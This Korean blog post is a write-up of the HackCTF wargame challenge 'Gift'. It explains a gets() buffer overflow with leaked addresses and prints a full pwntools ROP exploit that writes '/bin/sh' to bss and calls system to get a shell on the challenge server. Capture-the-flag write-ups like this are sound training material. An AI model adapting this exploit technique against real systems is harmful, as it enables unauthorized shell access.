Gift

2022. 4. 21. 20:17·Wargame/HackCTF
gdb-peda$ checksec
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : disabled

main 함수의 gets 부분이 핵심이다. 이를 통해 BOF를 진행한다.

 

$ ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7dbc3d0

$ ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7e183d0

바이너리를 실행시킬 때마다 system 값의 주소가 변한다. ASLR이 걸려있는 것을 확인.

( binsh 부분의 주소는 bss영역의 시작 주소이다. bss 영역이므로 주소 변화가 없음 )

 

system 주소를 Leak해서 익스플로잇을 진행하면 될 것 같다.

 

익스플로잇 순서는 다음과 같다.

1. gets함수를 이용할 gadget, gets함수의 주소 구하기

2. main함수 내에 있는 gets(&s) 부분에 BOF & ROP

3. gadget을 이용해 gets함수를 불러내 bss영역을 인자로 넣는다

4. system함수 불러내 bss영역을 인자로 넣기

5. /bin/sh 집어넣기

 

Exploit Code

from pwn import *
context.log_level = 'debug'

p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF('./gift')

pr = 0x80483ad

p.recvuntil('are: ')

bss = int(p.recv(9), 16)
p.recv(1)
system = int(p.recv(10), 16)

log.info("Bss : " + hex(bss) )
log.info("System : " + hex(system))

gets = e.plt['gets']

p.sendline('AAAA')
p.recvuntil('AAAA\n')

payload = 'A' * 0x88
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(system)
payload += 'BBBB'
payload += p32(bss)

p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • RTC
  • ROP
  • Look at me
  • RTL_Core
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Ubuntu 기초 셋팅
    Text Summarization
    ubuntu 명령어
    python
    TsukuCTF2022
    Machine Learning
    Remote Code Execution
    TFCCTF2022
    bug hunter
    pwntools
    justCTF
    Crypto
    Ubuntu 기초
    cache
    sqli
    cache poisoning
    bug report
    RCE
    GPNCTF
    Deep learning
  • 최근 댓글

  • 최근 글

Cronus
Gift
상단으로

티스토리툴바